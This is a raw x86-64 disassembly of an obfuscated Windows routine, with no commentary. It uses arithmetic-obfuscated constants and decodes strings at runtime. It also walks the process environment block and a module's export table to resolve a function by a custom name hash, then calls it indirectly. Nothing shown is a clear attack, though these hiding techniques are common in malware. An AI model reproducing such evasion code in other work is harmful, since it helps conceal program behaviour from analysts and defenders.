mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a90a24593
imul r13, rax
movabs r10, 0x8113901053bf5b40
add r10, rcx
add r10, r13
movabs rax, 0x277cd7be6462a02f
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, r10
not rdi
lea rax, [0x14033e060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xffffffffe3e7a19f
lea ecx, [r9 + 0xd]
and cl, 0x3f
rol rdi, cl
movabs rax, 0xc7d5e37b751f54d1
xor r12, rax
movabs rax, 0x7c7a7dc68ae0ab2e
and r12, rax
imul rdi, r12
mov rcx, rdi
ror rcx, 0x3c
not rcx
movabs rax, 0x9b2de6b2ae388820
imul rcx, rax
mov rax, r10
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, bl
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140288fbb
movabs rax, 0xf3243d8517ed539f
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x62a5b61abce43fbe
mov rax, r11
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, dil
and cl, 0x3f
rol r8, cl
movabs rcx, 0x62a5b61abce43fbf
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x9e5431bc041
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7ea760162
or r8, rax
mov rsi, qword [0x14033e070]
imul rsi, r14
sub rsi, rdi
mov rax, rbx
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6bb7e016f
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, rdi
imul rdx, rsi
shr rdx, cl
mov rax, r10
sub rax, rdx
sub rax, r11
movabs r11, 0x7895894742c4d75
add r11, rax
xor r11, rbx
mov al, r10b
shl al, 2
lea ecx, [rax + r10]
add cl, cl
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140288fbb
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, rdi
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de668f508e
imul rbx, rax
mov rax, r8
imul rax, r11
mov r11, rbx
xor r11, rax
imul rbx, qword [0x14033e060], 0xfffffffff38398ec
mov rdx, qword [0x14033e068]
sub rbx, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140288fa8
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
movabs rax, 0x62a5b61abce43fbf
add rbx, rax
add rbx, r13
movabs rax, 0xff055d7b96c45a43
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, r11
lea rax, [0x14033e060]
imul r8, qword [rax + r14*8]
not rdi
imul rdi, r9
imul rdi, rbx
imul rdi, rsi
movabs rcx, 0xf5ed7e879177109f
xor rcx, r10
not rcx
xor rcx, rdi
sub rcx, r8
call fcn.14027fa1c
mov qword [0x14034c9c0], rax
xor r12d, r12d
mov dword [rbp + 0x38], r12d
mov dword [rbp + 0x38], 0x5ef19639
mov eax, dword [rbp + 0x38]
add eax, 0xf35fa1a8
xor eax, 0x36fd8564
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x353fade3
xor eax, 0xb66d7982
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xf6a440fe
add eax, ecx
xor eax, 0x266765a6
add eax, 0x5ac98cb5
xor eax, 0x47ee8961
lea edx, [rcx + 0x7f0c5026]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xa7cd7cda
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x58328325
add ecx, 0x1d210a43
add ecx, edx
xor ecx, 0xba2a9982
mov dword [rbp + 0x38], ecx
movsxd rdx, ecx
mov r13, qword [rbp + 0x550]
mov rcx, r13
call fcn.14001fa50
nop
mov dword [rbp + 0x38], r12d
mov qword [rbp + 0x108], r12
movabs rax, 0x5fc89919fc93511e
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], r12
movabs rax, 0x23e651bee1541580
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], r12
movabs rax, 0x7571a82f2ab663f
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], r12
movabs rax, 0xbaf873a67c80dc95
mov qword [rbp + 0x120], rax
movabs rcx, 0xf33a52b1f8bba083
add rcx, qword [rbp + 0x120]
movabs rax, 0xc5d5366253058ac0
xor rcx, rax
mov rdi, qword [0x14033e058]
sub rcx, rdi
mov r10, qword [0x14033e050]
sub rcx, r10
movabs rax, 0x7120fb80b2b03e20
add rcx, rax
movabs rax, 0xf8f8cd9c90fc0aab
xor rcx, rax
mov r9, qword [0x14033e048]
sub rcx, r9
movabs rax, 0x7d654bf135de08b
add rcx, rax
mov rsi, qword [0x14033e040]
add rcx, rsi
movabs rax, 0x5a9179ad004a76f3
xor rcx, rax
movabs rax, 0x5f627dc5c3bc0386
sub rcx, rax
movabs rax, 0xda3b3cd465005f13
xor rcx, rax
movabs rdx, 0xb483ce48b1d5d544
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ac7e2ecd6
mov r11, qword [0x14033e038]
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5381d1329
mov rbx, qword [0x14033e030]
mov rcx, rbx
xor rcx, rax
movabs r14, 0xe0b56d7d92a835ab
add r14, rdx
add r14, rcx
movabs rax, 0x74c209a17f29d046
xor r14, rax
mov qword [rbp + 0x120], r14
movabs rcx, 0xf33a52b5e9f53a03
add rcx, qword [rbp + 0x118]
movabs rax, 0x5f55366253097bf9
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f59236ead
sub rcx, rax
movabs rax, 0xf8f8cd988ffd8ac5
xor rcx, rax
sub rcx, r9
movabs rax, 0xc7d654b9b96c30ae
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a88124c3dd
xor rcx, rax
movabs rax, 0x5f627dc6d71a75d0
sub rcx, rax
movabs rax, 0xe3b3cd26c440886
xor rcx, rax
movabs rdx, 0x3483ce44dc34cef6
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ad7a7d33c
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b528582cc3
mov rcx, rbx
xor rcx, rax
movabs r8, 0xe0b56d8d47518291
add r8, rdx
add r8, rcx
movabs rax, 0x7b5e6d3119c436b4
xor r8, rax
mov qword [rbp + 0x118], r8
movabs rcx, 0xf33a52b5f730a103
add rcx, qword [rbp + 0x110]
movabs rax, 0xc655366253098935
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f594b20e2
sub rcx, rax
movabs rax, 0xf8f8cd98828d3629
xor rcx, rax
sub rcx, r9
movabs rax, 0x47d654b9a7760e5e
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a8720d0261
xor rcx, rax
movabs rax, 0x5f627dc6d3f0d734
sub rcx, rax
movabs rax, 0xd63b3cd265a5eb2b
xor rcx, rax
movabs rdx, 0x3483ce44cf5607c7
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ad7dcc0d8
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b528233f27
mov rcx, rbx
xor rcx, rax
movabs rax, 0xe0b56d8d7c7643ad
add rdx, rax
add rdx, rcx
movabs rax, 0x2b45df8e539e88e8
xor rdx, rax
mov qword [rbp + 0x110], rdx
movabs rcx, 0xf33a52b1f51a2683
add rcx, qword [rbp + 0x108]
movabs rax, 0x4bd536625305871e
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb80b2bb228e
add rcx, rax
movabs rax, 0xf8f8cd9c94ac0a93
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654bf184b91a6
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179ad046ea61b
xor rcx, rax
movabs rax, 0x5f627dc5c480e5de
sub rcx, rax
movabs rax, 0xaa3b3cd466d1391f
xor rcx, rax
movabs rax, 0xb483ce48b55de4ee
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94ac7d466ee
xor r11, rax
sub rcx, r11
movabs rax, 0xec3316b5382b9911
xor rbx, rax
movabs rax, 0xe0b56d7d8411bfc3
add rcx, rax
add rcx, rbx
movabs rax, 0xc6be70dc909913ce
xor rcx, rax
mov qword [rbp + 0x108], rcx
mov r9d, dword [rbp + 0x558]
and rcx, rdx
mov eax, r12d
cmp r9, rcx
sete al
and r8, r14
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x108], r12
cmp rax, r8
jne 0x1402894f0
mov r15, qword [rbp - 0x70]
lea rdx, [r9 + r15]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x1402894d4
mov rcx, r13
call fcn.14001f630
mov r14d, 8
jmp 0x1402896d8
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x128], 0xf6325163
mov dword [rbp + 0x12c], 0x80cb4e7e
mov rsi, r12
lea r14d, [rax + 8]
lea r15d, [rax + 0x30]
movabs r13, 0x13cce94adbce9ca4
xor edx, edx
mov rax, rsi
div r13
add dl, r15b
mov dil, dl
sar dil, 7
or dil, dl
mov bl, dil
shl bl, 6
mov al, dil
sar al, 2
or bl, al
mov r8b, dil
sar r8b, 5
mov al, dil
shl al, 3
or r8b, al
mov r9b, dil
sar r9b, 3
mov al, dil
shl al, 5
or r9b, al
mov dl, dil
sar dl, 4
mov al, dil
shl al, 4
or dl, al
mov r11b, dil
not r11b
mov cl, dil
ror cl, 1
mov r10b, byte [rbp + rsi + 0x128]
sub r10b, bl
sub r10b, 2
mov eax, 4
sub al, bl
xor r10b, al
sub r10b, byte [0x14033e050]
sub r10b, byte [0x14033e058]
add r10b, bl
add r10b, dil
sub r10b, cl
sub r10b, 0x3f
lea eax, [rbx + 7]
add al, dil
xor r10b, al
sub r10b, byte [0x14033e048]
sub r10b, r8b
sub r10b, dil
mov rcx, qword [0x14033e040]
sub r10b, 0x50
add r10b, cl
add r10b, bl
mov al, dl
sub al, r8b
add al, bl
add al, dil
xor r10b, al
mov al, dil
sub al, dl
xor al, dil
sub r10b, al
sub r10b, r9b
add r10b, dil
add r10b, r15b
mov al, dil
ror al, 7
sub r9b, 0x50
add al, r9b
xor r10b, al
sub bl, dil
add bl, bl
add r10b, bl
add cl, 0x51
add r10b, cl
not r10b
mov al, dil
sar al, 7
or al, dil
sub r10b, al
mov al, r11b
xor al, byte [0x14033e038]
sub r10b, al
mov al, dil
xor al, byte [0x14033e030]
add r10b, al
mov al, dil
xor al, 0x40
sub r10b, al
movsx eax, dil
movsx ecx, r11b
imul ecx, eax
xor cl, r10b
mov byte [rbp + rsi + 0x128], cl
inc rsi
cmp rsi, r14
jb 0x140289521
lea rax, [rbp + 0x128]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], r14
mov rdx, qword [rbp + 0x1b0]
or rbx, 0xffffffffffffffff
mov r8, rbx
mov r13, qword [rbp + 0x550]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140289691
mov rcx, r13
call fcn.14001f630
nop
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x1402896d4
mov rax, r12
cmp qword [rbp + 0x1b8], r12
jbe 0x1402896d4
mov byte [rcx + rax], r12b
inc rax
cmp rax, qword [rbp + 0x1b8]
jae 0x1402896d4
mov rcx, qword [rbp + 0x1b0]
jmp 0x1402896bb
mov r15, qword [rbp - 0x70]
mov byte [rsp + 0x60], r12b
mov byte [rsp + 0x60], 0xa1
mov al, byte [rsp + 0x60]
add al, 7
xor al, 0xd
sub al, byte [0x14033e050]
sub al, byte [0x14033e058]
sub al, 0x58
xor al, 0xdd
sub al, byte [0x14033e048]
mov rcx, qword [0x14033e040]
sub al, 0x36
add al, cl
xor al, 0xd5
sub al, 0x29
xor al, 0xaa
mov dl, byte [0x14033e030]
xor dl, 0xdf
sub dl, al
mov al, byte [0x14033e038]
xor al, 0x20
sub dl, al
sub dl, cl
sub dl, 0x20
xor dl, 0xe0
mov byte [rsp + 0x60], dl
mov rcx, r13
call fcn.14000c0f4
nop
mov byte [rsp + 0x60], r12b
mov edx, dword [rsp + 0x70]
add rdx, r15
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x14028974a
mov rcx, r13
call fcn.14001f630
mov byte [rsp + 0x61], r12b
mov byte [rsp + 0x61], 0xf7
mov al, byte [rsp + 0x61]
sub al, 0x4f
xor al, 0xb7
sub al, byte [0x14033e050]
sub al, byte [0x14033e058]
sub al, 0x57
xor al, 0x89
sub al, byte [0x14033e048]
mov rcx, qword [0x14033e040]
add al, 0x1f
add al, cl
xor al, 0x2c
sub al, 0x18
xor al, 0xc0
mov dl, byte [0x14033e030]
xor dl, 0x35
sub dl, al
mov al, byte [0x14033e038]
xor al, 0xca
sub dl, al
sub dl, cl
sub dl, 0x2c
xor dl, 0xd2
mov byte [rsp + 0x61], dl
mov rcx, r13
call fcn.14000c0f4
nop
mov byte [rsp + 0x61], r12b
mov edx, dword [rsp + 0x68]
add rdx, r15
inc rbx
cmp byte [rdx + rbx], r12b
jne 0x1402897ca
mov r8, rbx
mov rcx, r13
call fcn.14001f630
mov ebx, r12d
mov edi, 0xb08937fa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, r14w
test ebx, ebx
je 0x140289851
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x5f1eeb6
jmp 0x140289843
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x140289823
cmp r9d, ebx
jne 0x14028996d
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x14028996d
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x14028996d
mov r13d, dword [r11 + 0x20]
dec esi
lea rdx, [rsi*4]
add rdx, r13
mov r10d, dword [rdx + r9]
add r10, r9
mov r14d, 0x5f1eeb6
jmp 0x1402898be
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, r14d
mov r14d, edx
imul r14d, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x1402898a0
cmp r14d, edi
je 0x1402898d9
xor r12d, r12d
test esi, esi
jne 0x140289884
jmp 0x140289967
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rsi*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x140289975
lea rax, [rcx + r11]
cmp r8, rax
jae 0x140289975
mov ebx, 0x5f1eeb6
mov edi, ebx
jmp 0x140289926
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, ebx
xor eax, ecx
mov ebx, edx
imul ebx, eax
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140289909
inc r8
xor r12d, r12d
jmp 0x14028994f
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x140289935
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 8
mov rax, qword [rax]
jmp 0x1402897f7
mov rcx, r15
call r8
movabs rsi, 0xe6f36f34d092a66f
movabs rax, 0xb094c9ce30000000
movabs r14, 0xf44194c592f30acd
mov rbx, qword [0x14033e088]
imul rbx, rax
movabs rax, 0xcd896ff750000000
xor rbx, rax
mov r13, rbx
imul r13, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r10, [0x14033e060]
imul r8, qword [r10 + rcx*8]
movabs rax, 0x6cbf55758b9469e2
imul r8, rax
movabs rax, 0x3afcc01da0e9fd30
xor r8, rax
shr r8, 3
movabs rax, 0xffffff57ccfa8e59
mov rdi, rbx
imul rdi, rax
sub rdi, 0x4744a96
xor rdi, r8
xor rdi, qword [0x14033e060]
mov rax, r8
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bc5493178
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x26
shr rdi, 8
movabs r12, 0x190c90cb2f6d5991
lea rcx, [rbx + r12]
xor rcx, 0xfffffffffbc73a75
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x9f4ce2a1282f7f30
mov r11, qword [r10 + rcx*8]
imul r11, rax
sub r11, r12
movabs rcx, 0xe27bebec2532738c
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x69
mov eax, 0x8000003f
and ecx, eax
jge 0x140289aec
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xfffffffffb8bb56a
mov qword [rbp + 0x558], rdx
lea r9, [rdx + r12]
mov r10, r11
imul r10, rdi
sub r10, r9
xor r10, r14
movzx r12d, r9b
mov ecx, r12d
xor ecx, 6
and ecx, 0xf
and ecx, eax
jge 0x140289b2d
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rax, 0x1806c5b63faa64f6
imul r15, rax
movabs rax, 0x36f7e715d2fdbdf
add r15, rax
xor r10, r15
mov rax, r9
sub rax, qword [0x14033e078]
xor r10, rax
xor r10, r8
xor r10, rbx
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140289eb9
sub rax, 1
je 0x140289d7c
sub rax, 1
je 0x140289c87
cmp rax, 1
jne 0x140289f6d
mov r14, r9
imul r14, r11
movabs rax, 0xd152a797666bb369
add rax, r10
xor r14, rax
ror r14, 0x1e
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835727b83f7e
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x198e15b343ce4669
xor rdx, rax
movzx eax, r14b
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97f58d381
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xae83016b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0xf070dddec9544ee8
sub rsi, r14
shr rsi, cl
movabs rax, 0x1914b5538b74cb39
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rdi
xor rsi, rax
jmp 0x140289f6d
movabs rax, 0xaaaaaa1aae9afc55
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed6c972019
imul rcx, rax
movabs r9, 0xfff17ca879f8ca29
mov rax, r8
xor rax, r9
sub rcx, rax
movabs rax, 0xffff7e8a888ace89
imul rdx, rax
movabs r11, 0x8c6cca22384c6b22
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be7c4a2b35
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14033e060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffffbcf2a85
lea ecx, [r10 + 0x17]
and cl, 0x3f
rol r9, cl
movabs rax, 0xcfa59ebf6d37dfcb
xor r13, rax
movabs rax, 0x7c7a7dc692c82034
and r13, rax
imul r9, r13
mov rcx, r9
ror rcx, 5
not rcx
movabs rax, 0x9b2de6b2ce9aa448
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140289f6d
movabs rax, 0xc2651a8ca4f23f19
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x190c90cb2f6d5990
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x140289dd6
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x190c90cb2f6d5991
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffef34d092a66f
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7f25e8a78
or r8, rax
mov rsi, qword [0x14033e070]
imul rsi, r14
sub rsi, r9
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6a3568a75
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946c04c66f
add rbx, rax
xor rbx, rdi
mov cl, r11b
shl cl, 4
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140289f6d
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de7ea7db94
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14033e060], 0xfffffffffb8bb56a
mov rdx, qword [0x14033e068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140289f56
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x190c90cb2f6d5991
add rdi, rax
add rdi, qword [rbp + 0x558]
movabs rax, 0xff055d7b8eecd159
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14033e060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rdi
imul r9, rsi
movabs rcx, 0xf5ed7e87895f9b85
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14027f890
mov qword [0x14034c9a0], rax
xor r8d, r8d
mov dword [rbp + 0x3c], r8d
mov dword [rbp + 0x3c], 0x54fa8fcb
mov eax, dword [rbp + 0x3c]
add eax, 0xe1e0db36
xor eax, 0x708b73e5
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x20f4ce70
xor eax, 0x90323b0e
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xcd63d75d
add eax, ecx
xor eax, 0x425c0000
add eax, 0x6f001419
xor eax, 0x843e7890
mov edx, dword [0x14033e030]
xor edx, 0x20787e3f
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdf8781c0
sub edx, eax
sub edx, ecx
sub edx, 0x6370a9ca
xor edx, 0x86356e40
mov dword [rbp + 0x3c], edx
movsxd rcx, edx
mov rax, qword [rbp + 0x550]
mov rax, qword [rax + 0x10]
mov dword [rbp + 0x3c], r8d
cmp rax, rcx
jae 0x14028a0f5
mov dword [rbp + 0x40], r8d
mov dword [rbp + 0x40], 0xdea4a85f
mov eax, dword [rbp + 0x40]
add eax, 0xe306c5b6
xor eax, 0x5b0b750b
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5f0ea34f
xor eax, 0x8f07b8e4
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0xbd4df8c
add eax, edx
xor eax, 0x410cc086
add eax, 0x6ed0ba4b
xor eax, 0x2fab7a21
mov ecx, dword [0x14033e030]
xor ecx, 0x2073e695
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdf8c196a
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x228938f6]
xor eax, 0xa5fe06b2
mov dword [rbp + 0x40], eax
mov dword [rbp + 0x40], r8d
jmp 0x14028a175
mov dword [rbp + 0x44], r8d
mov dword [rbp + 0x44], 0x7cbfbe1a
mov eax, dword [rbp + 0x44]
add eax, 0x9cde5836
xor eax, 0xed8b2ee2
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x21c3d5f9
xor eax, 0xd648c81a
sub eax, dword [0x14033e048]
mov rdx, qword [0x14033e040]
add eax, 0xab10c02f
add eax, edx
xor eax, 0x9112dd6c
add eax, 0x5cd33545
xor eax, 0xbec1e224
mov ecx, dword [0x14033e030]
xor ecx, 0x218c884b
sub ecx, eax
mov eax, dword [0x14033e038]
xor eax, 0xde7377b4
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x4451c73e]
xor eax, 0x2ddbb1bc
mov dword [rbp + 0x44], eax
mov dword [rbp + 0x44], r8d
add rsp, 0x608
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret